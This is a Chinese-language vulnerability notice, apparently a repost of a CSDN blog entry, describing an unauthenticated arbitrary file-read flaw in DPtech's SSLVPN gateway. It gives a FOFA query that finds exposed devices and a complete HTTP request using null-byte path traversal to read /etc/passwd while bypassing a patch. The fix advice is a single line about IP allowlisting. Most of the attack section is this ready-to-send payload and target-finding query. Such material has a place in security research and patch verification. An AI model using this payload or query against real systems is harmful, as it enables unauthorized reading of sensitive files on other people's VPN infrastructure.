首页 > 其他分享 >某普SSLVPN 任意文件读取

某普SSLVPN 任意文件读取

时间:2024-10-12 09:51:15浏览次数:8  
标签:00 读取 ip .% Accept application 2F SSLVPN 某普

0x01 产品描述:

    迪普科技VPN产品是一款面向广域互联应用场景的专业安全网关产品,集成了IPSecSSLL2TPGRE等多种VPN技术,支持国密算法,实现分支机构、移动办公人员的统一安全接入,提供内部业务跨互联网的安全访问。‌ 该产品支持基于用户、应用的安全策略,提供攻击防护、用户认证、行为审计、带宽管理、链路负载均衡等多种安全功能,可作为总部及分支机构的安全出口。迪普VPN还实现了集中管理、统一配置,集成ACPoE功能,支持3G/4G无线模块扩展,有效简化用户组网,降低运维成本‌

0x02 漏洞描述:

         迪普SSLVPN 存在任意文件读取漏洞,未经身份验证攻击者可通过%00绕过补丁安全校验机制,读取系统重要文件。

0x04 搜索语句:

Fofa:app="DPtech-SSLVPN"

0x05 漏洞复现:

GET /.%00.%2F.%00.%2F.%00.%2F.%00.%2F.%00.%2F.%00.%2F.%00.%2Fetc%2Fpasswd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Accept: application/json, text/javascript, */*; q=0.01
Connection: close

 

0x06 修复建议:

增加ip白名单,限制非白名单中ip访问

标签:00,读取,ip,.%,Accept,application,2F,SSLVPN,某普
From: https://blog.csdn.net/xc_214/article/details/142870080

相关文章

  • 【DMRI】如何安装,以及如何使用来读取dmri数据
    DIPY是一个用于分析扩散磁共振成像(dMRI)数据的Python库。它提供了多种工具和算法用于dMRI数据的加载、处理、重建、跟踪和可视化。DIPY是开源的,并且是神经影像学分析中使用广泛的软件之一。如何安装DIPY:DIPY可以通过pip或conda进行安装。安装命令如下:使用pip:pipinstall......
  • 网站数据库读取失败
    当遇到网站数据库读取失败的问题时,可以按照以下步骤来排查和解决:检查数据库连接确认数据库服务是否正常运行。检查数据库服务器的网络连接是否正常。查看错误日志查看应用程序的日志文件,寻找有关数据库访问失败的具体错误信息。查看数据库自身的错误日志,了解是否有操......
  • 读取xml文件写到csv文件中
    #xml数据提取,拼合为csv文件importosimportcsvimportxml.dom.minidomimportglobdefto_int(str_value):try:returnint(str_value)exceptValueError:try:float_value=float(str_value)returnint(floa......
  • QT中vtk读取nii文件并修改其中标签
    //获取读取器的输出数据vtkSmartPointer<vtkNIFTIImageReader>reader=vtkSmartPointer<vtkNIFTIImageReader>::New();//设置读取器的输入文件名constchar*initNiiName="D:/initInput.nii";reader->SetFileName(initNiiName);//读取NII图像数据try{ reader-&......
  • EasyExcel读取合并单元格数据
    EasyExcelEasyExcel文档地址:https://easyexcel.opensource.alibaba.com/docs/current/quickstart/read一、前言当excel表格的数据表头和内容都比较工整,每个单元格对应一个数据时,通过EasyExcel可以很容易就将数据读取出来。但是当表格数据存在合并单元格时,还是按照EasyExc......
  • java 按行读取文件,并筛选包含指定字符行数据
    `importjava.io.BufferedReader;importjava.io.FileNotFoundException;importjava.io.FileReader;importjava.util.Collections;importjava.util.List;importjava.util.stream.Collectors;publicclassTestController{publicstaticvoidmain(String[]......
  • 使用apatch httpClient, 并且我用了try-with-resource, 我希望在catch 和 finally 中从
    在使用ApacheHttpClient时,如果你使用了try-with-resources语法并希望在catch或finally块中从response对象中读取完整的responseentity,你可能会遇到资源过早关闭的问题。这是因为try-with-resources会在try块结束后自动关闭资源,导致在catch或finally块中无法......
  • 从数据库中读取的数据显示到控制台乱码
    设置数据库连接池的字符编码与数据库的字符编码一致我的是utf8mb4//设置字符集为utf8mb4,以确保结果编码正确con->setClientOption("characterSetResults",(void)"utf8mb4");con->setClientOption("characterSetClient",(void)"utf8mb4");con->setClientOpti......
  • Python 高级编程:深入解析 CSV 文件读取
    在Python中,读取CSV(逗号分隔值)文件是数据处理中的常见任务。以下将介绍一些高级的方法来读取CSV文件:使用pandas库读取CSV文件importpandasaspddf=pd.read_csv('file.csv')print(df)pandas是一个强大的数据处理库,read_csv函数可以方便地读取CSV文件并将其转换......
  • 使用openpyxl读取Excel设置了公式的单元格 默认读取的是公式而不是公式结果
    使用openpyxl对单元格有公式的Excel的sheet进行操作,如果又读又写,可以采用双重读取方式解决。在Excel中,如果单元格的值是通过公式计算的,而你通过openpyxl库读取时发现获取的是公式而非结果,原因是openpyxl默认只读取单元格的公式而不计算公式的结果。为了获取公式计算后的......